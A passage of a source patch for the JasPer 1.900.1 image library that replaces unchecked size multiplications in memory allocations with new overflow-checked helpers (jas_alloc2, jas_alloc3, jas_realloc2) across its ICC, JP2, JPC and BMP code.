+	if (!(tagtab->ents = jas_alloc2(prof->attrtab->numattrs,
 	  sizeof(jas_icctagtabent_t))))
 		goto error;
 	tagtab->numents = prof->attrtab->numattrs;
@@ -522,7 +522,7 @@ static int jas_iccprof_gettagtab(jas_str
 	}
 	if (jas_iccgetuint32(in, &tagtab->numents))
 		goto error;
-	if (!(tagtab->ents = jas_malloc(tagtab->numents *
+	if (!(tagtab->ents = jas_alloc2(tagtab->numents,
 	  sizeof(jas_icctagtabent_t))))
 		goto error;
 	tagtabent = tagtab->ents;
@@ -743,8 +743,7 @@ static int jas_iccattrtab_resize(jas_icc
 {
 	jas_iccattr_t *newattrs;
 	assert(maxents >= tab->numattrs);
-	newattrs = tab->attrs ? jas_realloc(tab->attrs, maxents *
-	  sizeof(jas_iccattr_t)) : jas_malloc(maxents * sizeof(jas_iccattr_t));
+	newattrs = jas_realloc2(tab->attrs, maxents, sizeof(jas_iccattr_t));
 	if (!newattrs)
 		return -1;
 	tab->attrs = newattrs;
@@ -999,7 +998,7 @@ static int jas_icccurv_input(jas_iccattr
 
 	if (jas_iccgetuint32(in, &curv->numents))
 		goto error;
-	if (!(curv->ents = jas_malloc(curv->numents * sizeof(jas_iccuint16_t))))
+	if (!(curv->ents = jas_alloc2(curv->numents, sizeof(jas_iccuint16_t))))
 		goto error;
 	for (i = 0; i < curv->numents; ++i) {
 		if (jas_iccgetuint16(in, &curv->ents[i]))
@@ -1100,7 +1099,7 @@ static int jas_icctxtdesc_input(jas_icca
 	if (jas_iccgetuint32(in, &txtdesc->uclangcode) ||
 	  jas_iccgetuint32(in, &txtdesc->uclen))
 		goto error;
-	if (!(txtdesc->ucdata = jas_malloc(txtdesc->uclen * 2)))
+	if (!(txtdesc->ucdata = jas_alloc2(txtdesc->uclen, 2)))
 		goto error;
 	if (jas_stream_read(in, txtdesc->ucdata, txtdesc->uclen * 2) !=
 	  JAS_CAST(int, txtdesc->uclen * 2))
@@ -1292,17 +1291,17 @@ static int jas_icclut8_input(jas_iccattr
 	  jas_iccgetuint16(in, &lut8->numouttabents))
 		goto error;
 	clutsize = jas_iccpowi(lut8->clutlen, lut8->numinchans) * lut8->numoutchans;
-	if (!(lut8->clut = jas_malloc(clutsize * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->intabsbuf = jas_malloc(lut8->numinchans *
-	  lut8->numintabents * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->intabs = jas_malloc(lut8->numinchans *
+	if (!(lut8->clut = jas_alloc2(clutsize, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->intabsbuf = jas_alloc3(lut8->numinchans,
+	  lut8->numintabents, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->intabs = jas_alloc2(lut8->numinchans,
 	  sizeof(jas_iccuint8_t *))))
 		goto error;
 	for (i = 0; i < lut8->numinchans; ++i)
 		lut8->intabs[i] = &lut8->intabsbuf[i * lut8->numintabents];
-	if (!(lut8->outtabsbuf = jas_malloc(lut8->numoutchans *
-	  lut8->numouttabents * sizeof(jas_iccuint8_t))) ||
-	  !(lut8->outtabs = jas_malloc(lut8->numoutchans *
+	if (!(lut8->outtabsbuf = jas_alloc3(lut8->numoutchans,
+	  lut8->numouttabents, sizeof(jas_iccuint8_t))) ||
+	  !(lut8->outtabs = jas_alloc2(lut8->numoutchans,
 	  sizeof(jas_iccuint8_t *))))
 		goto error;
 	for (i = 0; i < lut8->numoutchans; ++i)
@@ -1461,17 +1460,17 @@ static int jas_icclut16_input(jas_iccatt
 	  jas_iccgetuint16(in, &lut16->numouttabents))
 		goto error;
 	clutsize = jas_iccpowi(lut16->clutlen, lut16->numinchans) * lut16->numoutchans;
-	if (!(lut16->clut = jas_malloc(clutsize * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->intabsbuf = jas_malloc(lut16->numinchans *
-	  lut16->numintabents * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->intabs = jas_malloc(lut16->numinchans *
+	if (!(lut16->clut = jas_alloc2(clutsize, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->intabsbuf = jas_alloc3(lut16->numinchans,
+	  lut16->numintabents, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->intabs = jas_alloc2(lut16->numinchans,
 	  sizeof(jas_iccuint16_t *))))
 		goto error;
 	for (i = 0; i < lut16->numinchans; ++i)
 		lut16->intabs[i] = &lut16->intabsbuf[i * lut16->numintabents];
-	if (!(lut16->outtabsbuf = jas_malloc(lut16->numoutchans *
-	  lut16->numouttabents * sizeof(jas_iccuint16_t))) ||
-	  !(lut16->outtabs = jas_malloc(lut16->numoutchans *
+	if (!(lut16->outtabsbuf = jas_alloc3(lut16->numoutchans,
+	  lut16->numouttabents, sizeof(jas_iccuint16_t))) ||
+	  !(lut16->outtabs = jas_alloc2(lut16->numoutchans,
 	  sizeof(jas_iccuint16_t *))))
 		goto error;
 	for (i = 0; i < lut16->numoutchans; ++i)
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_image.c jasper-1.900.1/src/libjasper/base/jas_image.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_image.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_image.c	2009-10-22 10:27:45.000000000 +0200
@@ -142,7 +142,7 @@ jas_image_t *jas_image_create(int numcmp
 	image->inmem_ = true;
 
 	/* Allocate memory for the per-component information. */
-	if (!(image->cmpts_ = jas_malloc(image->maxcmpts_ *
+	if (!(image->cmpts_ = jas_alloc2(image->maxcmpts_,
 	  sizeof(jas_image_cmpt_t *)))) {
 		jas_image_destroy(image);
 		return 0;
@@ -774,8 +774,7 @@ static int jas_image_growcmpts(jas_image
 	jas_image_cmpt_t **newcmpts;
 	int cmptno;
 
-	newcmpts = (!image->cmpts_) ? jas_malloc(maxcmpts * sizeof(jas_image_cmpt_t *)) :
-	  jas_realloc(image->cmpts_, maxcmpts * sizeof(jas_image_cmpt_t *));
+	newcmpts = jas_realloc2(image->cmpts_, maxcmpts, sizeof(jas_image_cmpt_t *));
 	if (!newcmpts) {
 		return -1;
 	}
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_malloc.c jasper-1.900.1/src/libjasper/base/jas_malloc.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_malloc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_malloc.c	2009-10-22 10:27:45.000000000 +0200
@@ -76,6 +76,9 @@
 
 /* We need the prototype for memset. */
 #include <string.h>
+#include <limits.h>
+#include <errno.h>
+#include <stdint.h>
 
 #include "jasper/jas_malloc.h"
 
@@ -113,18 +116,50 @@ void jas_free(void *ptr)
 
 void *jas_realloc(void *ptr, size_t size)
 {
-	return realloc(ptr, size);
+	return ptr ? realloc(ptr, size) : malloc(size);
 }
 
-void *jas_calloc(size_t nmemb, size_t size)
+void *jas_realloc2(void *ptr, size_t nmemb, size_t size)
+{
+	if (!ptr)
+		return jas_alloc2(nmemb, size);
+	if (nmemb && SIZE_MAX / nmemb < size) {
+		errno = ENOMEM;
+		return NULL;
+	}
+	return jas_realloc(ptr, nmemb * size);
+
+}
+
+void *jas_alloc2(size_t nmemb, size_t size)
+{
+	if (nmemb && SIZE_MAX / nmemb < size) {
+		errno = ENOMEM;
+		return NULL;
+	}
+
+	return jas_malloc(nmemb * size);
+}
+
+void *jas_alloc3(size_t a, size_t b, size_t c)
 {
-	void *ptr;
 	size_t n;
-	n = nmemb * size;
-	if (!(ptr = jas_malloc(n * sizeof(char)))) {
-		return 0;
+
+	if (a && SIZE_MAX / a < b) {
+		errno = ENOMEM;
+		return NULL;
 	}
-	memset(ptr, 0, n);
+
+	return jas_alloc2(a*b, c);
+}
+
+void *jas_calloc(size_t nmemb, size_t size)
+{
+	void *ptr;
+
+	ptr = jas_alloc2(nmemb, size);
+	if (ptr)
+		memset(ptr, 0, nmemb*size);
 	return ptr;
 }
 
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_seq.c jasper-1.900.1/src/libjasper/base/jas_seq.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_seq.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_seq.c	2009-10-22 10:27:45.000000000 +0200
@@ -114,7 +114,7 @@ jas_matrix_t *jas_matrix_create(int numr
 	matrix->datasize_ = numrows * numcols;
 
 	if (matrix->maxrows_ > 0) {
-		if (!(matrix->rows_ = jas_malloc(matrix->maxrows_ *
+		if (!(matrix->rows_ = jas_alloc2(matrix->maxrows_,
 		  sizeof(jas_seqent_t *)))) {
 			jas_matrix_destroy(matrix);
 			return 0;
@@ -122,7 +122,7 @@ jas_matrix_t *jas_matrix_create(int numr
 	}
 
 	if (matrix->datasize_ > 0) {
-		if (!(matrix->data_ = jas_malloc(matrix->datasize_ *
+		if (!(matrix->data_ = jas_alloc2(matrix->datasize_,
 		  sizeof(jas_seqent_t)))) {
 			jas_matrix_destroy(matrix);
 			return 0;
@@ -220,7 +220,7 @@ void jas_matrix_bindsub(jas_matrix_t *ma
 	mat0->numrows_ = r1 - r0 + 1;
 	mat0->numcols_ = c1 - c0 + 1;
 	mat0->maxrows_ = mat0->numrows_;
-	mat0->rows_ = jas_malloc(mat0->maxrows_ * sizeof(jas_seqent_t *));
+	mat0->rows_ = jas_alloc2(mat0->maxrows_, sizeof(jas_seqent_t *));
 	for (i = 0; i < mat0->numrows_; ++i) {
 		mat0->rows_[i] = mat1->rows_[r0 + i] + c0;
 	}
diff -pruN jasper-1.900.1.orig/src/libjasper/base/jas_stream.c jasper-1.900.1/src/libjasper/base/jas_stream.c
--- jasper-1.900.1.orig/src/libjasper/base/jas_stream.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/base/jas_stream.c	2009-10-22 10:27:45.000000000 +0200
@@ -212,7 +212,7 @@ jas_stream_t *jas_stream_memopen(char *b
 	if (buf) {
 		obj->buf_ = (unsigned char *) buf;
 	} else {
-		obj->buf_ = jas_malloc(obj->bufsize_ * sizeof(char));
+		obj->buf_ = jas_malloc(obj->bufsize_);
 		obj->myalloc_ = 1;
 	}
 	if (!obj->buf_) {
@@ -992,7 +992,7 @@ static int mem_resize(jas_stream_memobj_
 	unsigned char *buf;
 
 	assert(m->buf_);
-	if (!(buf = jas_realloc(m->buf_, bufsize * sizeof(unsigned char)))) {
+	if (!(buf = jas_realloc(m->buf_, bufsize))) {
 		return -1;
 	}
 	m->buf_ = buf;
diff -pruN jasper-1.900.1.orig/src/libjasper/bmp/bmp_dec.c jasper-1.900.1/src/libjasper/bmp/bmp_dec.c
--- jasper-1.900.1.orig/src/libjasper/bmp/bmp_dec.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/bmp/bmp_dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -283,7 +283,7 @@ static bmp_info_t *bmp_getinfo(jas_strea
 	}
 
 	if (info->numcolors > 0) {
-		if (!(info->palents = jas_malloc(info->numcolors *
+		if (!(info->palents = jas_alloc2(info->numcolors,
 		  sizeof(bmp_palent_t)))) {
 			bmp_info_destroy(info);
 			return 0;
diff -pruN jasper-1.900.1.orig/src/libjasper/include/jasper/jas_malloc.h jasper-1.900.1/src/libjasper/include/jasper/jas_malloc.h
--- jasper-1.900.1.orig/src/libjasper/include/jasper/jas_malloc.h	2007-01-19 22:43:04.000000000 +0100
+++ jasper-1.900.1/src/libjasper/include/jasper/jas_malloc.h	2009-10-22 10:27:45.000000000 +0200
@@ -95,6 +95,9 @@ extern "C" {
 #define	jas_free	MEMFREE
 #define	jas_realloc	MEMREALLOC
 #define	jas_calloc	MEMCALLOC
+#define jas_alloc2(a, b)	MEMALLOC((a)*(b))
+#define jas_alloc3(a, b, c)	MEMALLOC((a)*(b)*(c))
+#define jas_realloc2(p, a, b)	MEMREALLOC((p), (a)*(b))
 #endif
 
 /******************************************************************************\
@@ -115,6 +118,12 @@ void *jas_realloc(void *ptr, size_t size
 /* Allocate a block of memory and initialize the contents to zero. */
 void *jas_calloc(size_t nmemb, size_t size);
 
+/* size-checked double allocation .*/
+void *jas_alloc2(size_t, size_t);
+
+void *jas_alloc3(size_t, size_t, size_t);
+
+void *jas_realloc2(void *, size_t, size_t);
 #endif
 
 #ifdef __cplusplus
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_cod.c jasper-1.900.1/src/libjasper/jp2/jp2_cod.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_cod.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_cod.c	2009-10-22 10:30:24.000000000 +0200
@@ -247,7 +247,7 @@ jp2_box_t *jp2_box_get(jas_stream_t *in)
 	box = 0;
 	tmpstream = 0;
 
-	if (!(box = jas_malloc(sizeof(jp2_box_t)))) {
+	if (!(box = jas_calloc(1, sizeof(jp2_box_t)))) {
 		goto error;
 	}
 	box->ops = &jp2_boxinfo_unk.ops;
@@ -372,7 +372,7 @@ static int jp2_bpcc_getdata(jp2_box_t *b
 	jp2_bpcc_t *bpcc = &box->data.bpcc;
 	unsigned int i;
 	bpcc->numcmpts = box->datalen;
-	if (!(bpcc->bpcs = jas_malloc(bpcc->numcmpts * sizeof(uint_fast8_t)))) {
+	if (!(bpcc->bpcs = jas_alloc2(bpcc->numcmpts, sizeof(uint_fast8_t)))) {
 		return -1;
 	}
 	for (i = 0; i < bpcc->numcmpts; ++i) {
@@ -416,7 +416,7 @@ static int jp2_colr_getdata(jp2_box_t *b
 		break;
 	case JP2_COLR_ICC:
 		colr->iccplen = box->datalen - 3;
-		if (!(colr->iccp = jas_malloc(colr->iccplen * sizeof(uint_fast8_t)))) {
+		if (!(colr->iccp = jas_alloc2(colr->iccplen, sizeof(uint_fast8_t)))) {
 			return -1;
 		}
 		if (jas_stream_read(in, colr->iccp, colr->iccplen) != colr->iccplen) {
@@ -453,7 +453,7 @@ static int jp2_cdef_getdata(jp2_box_t *b
 	if (jp2_getuint16(in, &cdef->numchans)) {
 		return -1;
 	}
-	if (!(cdef->ents = jas_malloc(cdef->numchans * sizeof(jp2_cdefchan_t)))) {
+	if (!(cdef->ents = jas_alloc2(cdef->numchans, sizeof(jp2_cdefchan_t)))) {
 		return -1;
 	}
 	for (channo = 0; channo < cdef->numchans; ++channo) {
@@ -766,7 +766,7 @@ static int jp2_cmap_getdata(jp2_box_t *b
 	unsigned int i;
 
 	cmap->numchans = (box->datalen) / 4;
-	if (!(cmap->ents = jas_malloc(cmap->numchans * sizeof(jp2_cmapent_t)))) {
+	if (!(cmap->ents = jas_alloc2(cmap->numchans, sizeof(jp2_cmapent_t)))) {
 		return -1;
 	}
 	for (i = 0; i < cmap->numchans; ++i) {
@@ -828,10 +828,10 @@ static int jp2_pclr_getdata(jp2_box_t *b
 		return -1;
 	}
 	lutsize = pclr->numlutents * pclr->numchans;
-	if (!(pclr->lutdata = jas_malloc(lutsize * sizeof(int_fast32_t)))) {
+	if (!(pclr->lutdata = jas_alloc2(lutsize, sizeof(int_fast32_t)))) {
 		return -1;
 	}
-	if (!(pclr->bpc = jas_malloc(pclr->numchans * sizeof(uint_fast8_t)))) {
+	if (!(pclr->bpc = jas_alloc2(pclr->numchans, sizeof(uint_fast8_t)))) {
 		return -1;
 	}
 	for (i = 0; i < pclr->numchans; ++i) {
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_dec.c jasper-1.900.1/src/libjasper/jp2/jp2_dec.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_dec.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_dec.c	2009-10-22 10:27:45.000000000 +0200
@@ -336,7 +336,7 @@ jas_image_t *jp2_decode(jas_stream_t *in
 	}
 
 	/* Allocate space for the channel-number to component-number LUT. */
-	if (!(dec->chantocmptlut = jas_malloc(dec->numchans * sizeof(uint_fast16_t)))) {
+	if (!(dec->chantocmptlut = jas_alloc2(dec->numchans, sizeof(uint_fast16_t)))) {
 		jas_eprintf("error: no memory\n");
 		goto error;
 	}
@@ -354,7 +354,7 @@ jas_image_t *jp2_decode(jas_stream_t *in
 			if (cmapent->map == JP2_CMAP_DIRECT) {
 				dec->chantocmptlut[channo] = channo;
 			} else if (cmapent->map == JP2_CMAP_PALETTE) {
-				lutents = jas_malloc(pclrd->numlutents * sizeof(int_fast32_t));
+				lutents = jas_alloc2(pclrd->numlutents, sizeof(int_fast32_t));
 				for (i = 0; i < pclrd->numlutents; ++i) {
 					lutents[i] = pclrd->lutdata[cmapent->pcol + i * pclrd->numchans];
 				}
diff -pruN jasper-1.900.1.orig/src/libjasper/jp2/jp2_enc.c jasper-1.900.1/src/libjasper/jp2/jp2_enc.c
--- jasper-1.900.1.orig/src/libjasper/jp2/jp2_enc.c	2007-01-19 22:43:05.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jp2/jp2_enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -191,7 +191,7 @@ int sgnd;
 		}
 		bpcc = &box->data.bpcc;
 		bpcc->numcmpts = jas_image_numcmpts(image);
-		if (!(bpcc->bpcs = jas_malloc(bpcc->numcmpts *
+		if (!(bpcc->bpcs = jas_alloc2(bpcc->numcmpts,
 		  sizeof(uint_fast8_t)))) {
 			goto error;
 		}
@@ -285,7 +285,7 @@ int sgnd;
 		}
 		cdef = &box->data.cdef;
 		cdef->numchans = jas_image_numcmpts(image);
-		cdef->ents = jas_malloc(cdef->numchans * sizeof(jp2_cdefchan_t));
+		cdef->ents = jas_alloc2(cdef->numchans, sizeof(jp2_cdefchan_t));
 		for (i = 0; i < jas_image_numcmpts(image); ++i) {
 			cdefchanent = &cdef->ents[i];
 			cdefchanent->channo = i;
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_cs.c jasper-1.900.1/src/libjasper/jpc/jpc_cs.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_cs.c	2009-10-22 09:58:16.000000000 +0200
+++ jasper-1.900.1/src/libjasper/jpc/jpc_cs.c	2009-10-22 10:27:45.000000000 +0200
@@ -502,7 +502,7 @@ static int jpc_siz_getparms(jpc_ms_t *ms
 	  !siz->tileheight || !siz->numcomps) {
 		return -1;
 	}
-	if (!(siz->comps = jas_malloc(siz->numcomps * sizeof(jpc_sizcomp_t)))) {
+	if (!(siz->comps = jas_alloc2(siz->numcomps, sizeof(jpc_sizcomp_t)))) {
 		return -1;
 	}
 	for (i = 0; i < siz->numcomps; ++i) {
@@ -986,7 +986,7 @@ static int jpc_qcx_getcompparms(jpc_qcxc
 		jpc_qcx_destroycompparms(compparms);
                 return -1;
         } else if (compparms->numstepsizes > 0) {
-		compparms->stepsizes = jas_malloc(compparms->numstepsizes *
+		compparms->stepsizes = jas_alloc2(compparms->numstepsizes,
 		  sizeof(uint_fast16_t));
 		assert(compparms->stepsizes);
 		for (i = 0; i < compparms->numstepsizes; ++i) {
@@ -1094,7 +1094,7 @@ static int jpc_ppm_getparms(jpc_ms_t *ms
 
 	ppm->len = ms->len - 1;
 	if (ppm->len > 0) {
-		if (!(ppm->data = jas_malloc(ppm->len * sizeof(unsigned char)))) {
+		if (!(ppm->data = jas_malloc(ppm->len))) {
 			goto error;
 		}
 		if (JAS_CAST(uint, jas_stream_read(in, ppm->data, ppm->len)) != ppm->len) {
@@ -1163,7 +1163,7 @@ static int jpc_ppt_getparms(jpc_ms_t *ms
 	}
 	ppt->len = ms->len - 1;
 	if (ppt->len > 0) {
-		if (!(ppt->data = jas_malloc(ppt->len * sizeof(unsigned char)))) {
+		if (!(ppt->data = jas_malloc(ppt->len))) {
 			goto error;
 		}
 		if (jas_stream_read(in, (char *) ppt->data, ppt->len) != JAS_CAST(int, ppt->len)) {
@@ -1226,7 +1226,7 @@ static int jpc_poc_getparms(jpc_ms_t *ms
 	uint_fast8_t tmp;
 	poc->numpchgs = (cstate->numcomps > 256) ? (ms->len / 9) :
 	  (ms->len / 7);
-	if (!(poc->pchgs = jas_malloc(poc->numpchgs * sizeof(jpc_pocpchg_t)))) {
+	if (!(poc->pchgs = jas_alloc2(poc->numpchgs, sizeof(jpc_pocpchg_t)))) {
 		goto error;
 	}
 	for (pchgno = 0, pchg = poc->pchgs; pchgno < poc->numpchgs; ++pchgno,
@@ -1331,7 +1331,7 @@ static int jpc_crg_getparms(jpc_ms_t *ms
 	jpc_crgcomp_t *comp;
 	uint_fast16_t compno;
 	crg->numcomps = cstate->numcomps;
-	if (!(crg->comps = jas_malloc(cstate->numcomps * sizeof(uint_fast16_t)))) {
+	if (!(crg->comps = jas_alloc2(cstate->numcomps, sizeof(uint_fast16_t)))) {
 		return -1;
 	}
 	for (compno = 0, comp = crg->comps; compno < cstate->numcomps;
@@ -1470,7 +1470,7 @@ static int jpc_unk_getparms(jpc_ms_t *ms
 	cstate = 0;
 
 	if (ms->len > 0) {
-		if (!(unk->data = jas_malloc(ms->len * sizeof(unsigned char)))) {
+		if (!(unk->data = jas_malloc(ms->len))) {
 			return -1;
 		}
 		if (jas_stream_read(in, (char *) unk->data, ms->len) != JAS_CAST(int, ms->len)) {
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_dec.c jasper-1.900.1/src/libjasper/jpc/jpc_dec.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_dec.c	2009-10-22 09:58:16.000000000 +0200
+++ jasper-1.900.1/src/libjasper/jpc/jpc_dec.c	2009-10-22 10:30:50.000000000 +0200
@@ -449,7 +449,7 @@ static int jpc_dec_process_sot(jpc_dec_t
 
 	if (dec->state == JPC_MH) {
 
-		compinfos = jas_malloc(dec->numcomps * sizeof(jas_image_cmptparm_t));
+		compinfos = jas_alloc2(dec->numcomps, sizeof(jas_image_cmptparm_t));
 		assert(compinfos);
 		for (cmptno = 0, cmpt = dec->cmpts, compinfo = compinfos;
 		  cmptno < dec->numcomps; ++cmptno, ++cmpt, ++compinfo) {
@@ -692,7 +692,7 @@ static int jpc_dec_tileinit(jpc_dec_t *d
 			tile->realmode = 1;
 		}
 		tcomp->numrlvls = ccp->numrlvls;
-		if (!(tcomp->rlvls = jas_malloc(tcomp->numrlvls *
+		if (!(tcomp->rlvls = jas_alloc2(tcomp->numrlvls,
 		  sizeof(jpc_dec_rlvl_t)))) {
 			return -1;
 		}
@@ -764,7 +764,7 @@ rlvl->bands = 0;
 			  rlvl->cbgheightexpn);
 
 			rlvl->numbands = (!rlvlno) ? 1 : 3;
-			if (!(rlvl->bands = jas_malloc(rlvl->numbands *
+			if (!(rlvl->bands = jas_alloc2(rlvl->numbands,
 			  sizeof(jpc_dec_band_t)))) {
 				return -1;
 			}
@@ -797,7 +797,7 @@ rlvl->bands = 0;
 
 				assert(rlvl->numprcs);
 
-				if (!(band->prcs = jas_malloc(rlvl->numprcs * sizeof(jpc_dec_prc_t)))) {
+				if (!(band->prcs = jas_alloc2(rlvl->numprcs, sizeof(jpc_dec_prc_t)))) {
 					return -1;
 				}
 
@@ -834,7 +834,7 @@ rlvl->bands = 0;
 			if (!(prc->numimsbstagtree = jpc_tagtree_create(prc->numhcblks, prc->numvcblks))) {
 				return -1;
 			}
-			if (!(prc->cblks = jas_malloc(prc->numcblks * sizeof(jpc_dec_cblk_t)))) {
+			if (!(prc->cblks = jas_alloc2(prc->numcblks, sizeof(jpc_dec_cblk_t)))) {
 				return -1;
 			}
 
@@ -1181,7 +1181,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 		return -1;
 	}
 
-	if (!(dec->cmpts = jas_malloc(dec->numcomps * sizeof(jpc_dec_cmpt_t)))) {
+	if (!(dec->cmpts = jas_alloc2(dec->numcomps, sizeof(jpc_dec_cmpt_t)))) {
 		return -1;
 	}
 
@@ -1204,7 +1204,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 	dec->numhtiles = JPC_CEILDIV(dec->xend - dec->tilexoff, dec->tilewidth);
 	dec->numvtiles = JPC_CEILDIV(dec->yend - dec->tileyoff, dec->tileheight);
 	dec->numtiles = dec->numhtiles * dec->numvtiles;
-	if (!(dec->tiles = jas_malloc(dec->numtiles * sizeof(jpc_dec_tile_t)))) {
+	if (!(dec->tiles = jas_calloc(dec->numtiles, sizeof(jpc_dec_tile_t)))) {
 		return -1;
 	}
 
@@ -1228,7 +1228,7 @@ static int jpc_dec_process_siz(jpc_dec_t
 		tile->pkthdrstreampos = 0;
 		tile->pptstab = 0;
 		tile->cp = 0;
-		if (!(tile->tcomps = jas_malloc(dec->numcomps *
+		if (!(tile->tcomps = jas_calloc(dec->numcomps,
 		  sizeof(jpc_dec_tcomp_t)))) {
 			return -1;
 		}
@@ -1489,7 +1489,7 @@ static jpc_dec_cp_t *jpc_dec_cp_create(u
 	cp->numlyrs = 0;
 	cp->mctid = 0;
 	cp->csty = 0;
-	if (!(cp->ccps = jas_malloc(cp->numcomps * sizeof(jpc_dec_ccp_t)))) {
+	if (!(cp->ccps = jas_alloc2(cp->numcomps, sizeof(jpc_dec_ccp_t)))) {
 		return 0;
 	}
 	if (!(cp->pchglist = jpc_pchglist_create())) {
@@ -2048,7 +2048,7 @@ jpc_streamlist_t *jpc_streamlist_create(
 	}
 	streamlist->numstreams = 0;
 	streamlist->maxstreams = 100;
-	if (!(streamlist->streams = jas_malloc(streamlist->maxstreams *
+	if (!(streamlist->streams = jas_alloc2(streamlist->maxstreams,
 	  sizeof(jas_stream_t *)))) {
 		jas_free(streamlist);
 		return 0;
@@ -2068,8 +2068,8 @@ int jpc_streamlist_insert(jpc_streamlist
 	/* Grow the array of streams if necessary. */
 	if (streamlist->numstreams >= streamlist->maxstreams) {
 		newmaxstreams = streamlist->maxstreams + 1024;
-		if (!(newstreams = jas_realloc(streamlist->streams,
-		  (newmaxstreams + 1024) * sizeof(jas_stream_t *)))) {
+		if (!(newstreams = jas_realloc2(streamlist->streams,
+		  (newmaxstreams + 1024), sizeof(jas_stream_t *)))) {
 			return -1;
 		}
 		for (i = streamlist->numstreams; i < streamlist->maxstreams; ++i) {
@@ -2155,8 +2155,7 @@ int jpc_ppxstab_grow(jpc_ppxstab_t *tab,
 {
 	jpc_ppxstabent_t **newents;
 	if (tab->maxents < maxents) {
-		newents = (tab->ents) ? jas_realloc(tab->ents, maxents *
-		  sizeof(jpc_ppxstabent_t *)) : jas_malloc(maxents * sizeof(jpc_ppxstabent_t *));
+		newents = jas_realloc2(tab->ents, maxents, sizeof(jpc_ppxstabent_t *));
 		if (!newents) {
 			return -1;
 		}
diff -pruN jasper-1.900.1.orig/src/libjasper/jpc/jpc_enc.c jasper-1.900.1/src/libjasper/jpc/jpc_enc.c
--- jasper-1.900.1.orig/src/libjasper/jpc/jpc_enc.c	2007-01-19 22:43:07.000000000 +0100
+++ jasper-1.900.1/src/libjasper/jpc/jpc_enc.c	2009-10-22 10:27:45.000000000 +0200
@@ -403,7 +403,7 @@ static jpc_enc_cp_t *cp_create(char *opt
 		vsteplcm *= jas_image_cmptvstep(image, cmptno);
 	}
 
-	if (!(cp->ccps = jas_malloc(cp->numcmpts * sizeof(jpc_enc_ccp_t)))) {
+	if (!(cp->ccps = jas_alloc2(cp->numcmpts, sizeof(jpc_enc_ccp_t)))) {
 		goto error;
 	}
 	for (cmptno = 0, ccp = cp->ccps; cmptno < JAS_CAST(int, cp->numcmpts); ++cmptno,
@@ -656,7 +656,7 @@ static jpc_enc_cp_t *cp_create(char *opt
 
 	if (ilyrrates && numilyrrates > 0) {
 		tcp->numlyrs = numilyrrates + 1;
-		if (!(tcp->ilyrrates = jas_malloc((tcp->numlyrs - 1) *
+		if (!(tcp->ilyrrates = jas_alloc2((tcp->numlyrs - 1),
 		  sizeof(jpc_fix_t)))) {
 			goto error;
 		}
@@ -940,7 +940,7 @@ startoff = jas_stream_getrwcount(enc->ou
 	siz->tilewidth = cp->tilewidth;
 	siz->tileheight = cp->tileheight;
 	siz->numcomps = cp->numcmpts;
-	siz->comps = jas_malloc(siz->numcomps * sizeof(jpc_sizcomp_t));
+	siz->comps = jas_alloc2(siz->numcomps, sizeof(jpc_sizcomp_t));
 	assert(siz->comps);
 	for (i = 0; i < JAS_CAST(int, cp->numcmpts); ++i) {
 		siz->comps[i].prec = cp->ccps[i].prec;
@@ -977,7 +977,7 @@ startoff = jas_stream_getrwcount(enc->ou
 		return -1;
 	}
 	crg = &enc->mrk->parms.crg;
-	crg->comps = jas_malloc(crg->numcomps * sizeof(jpc_crgcomp_t));
+	crg->comps = jas_alloc2(crg->numcomps, sizeof(jpc_crgcomp_t));
 	if (jpc_putms(enc->out, enc->cstate, enc->mrk)) {
 		jas_eprintf("cannot write CRG marker\n");
 		return -1;
@@ -1955,7 +1955,7 @@ jpc_enc_tile_t *jpc_enc_tile_create(jpc_
 	tile->mctid = cp->tcp.mctid;
 
 	tile->numlyrs = cp->tcp.numlyrs;
-	if (!(tile->lyrsizes = jas_malloc(tile->numlyrs *
+	if (!(tile->lyrsizes = jas_alloc2(tile->numlyrs,
 	  sizeof(uint_fast32_t)))) {
 		goto error;
 	}
@@ -1964,7 +1964,7 @@ jpc_enc_tile_t *jpc_enc_tile_create(jpc_
 	}
 
 	/* Allocate an array for the per-tile-component information. */
-	if (!(tile->tcmpts = jas_malloc(cp->numcmpts * sizeof(jpc_enc_tcmpt_t)))) {
+	if (!(tile->tcmpts = jas_alloc2(cp->numcmpts, sizeof(jpc_enc_tcmpt_t)))) {
 		goto error;
 	}
 	/* Initialize a few members critical for error recovery. */
@@ -2110,7 +2110,7 @@ static jpc_enc_tcmpt_t *tcmpt_create(jpc
 	  jas_seq2d_ystart(tcmpt->data), jas_seq2d_xend(tcmpt->data),
 	  jas_seq2d_yend(tcmpt->data), bandinfos);
 
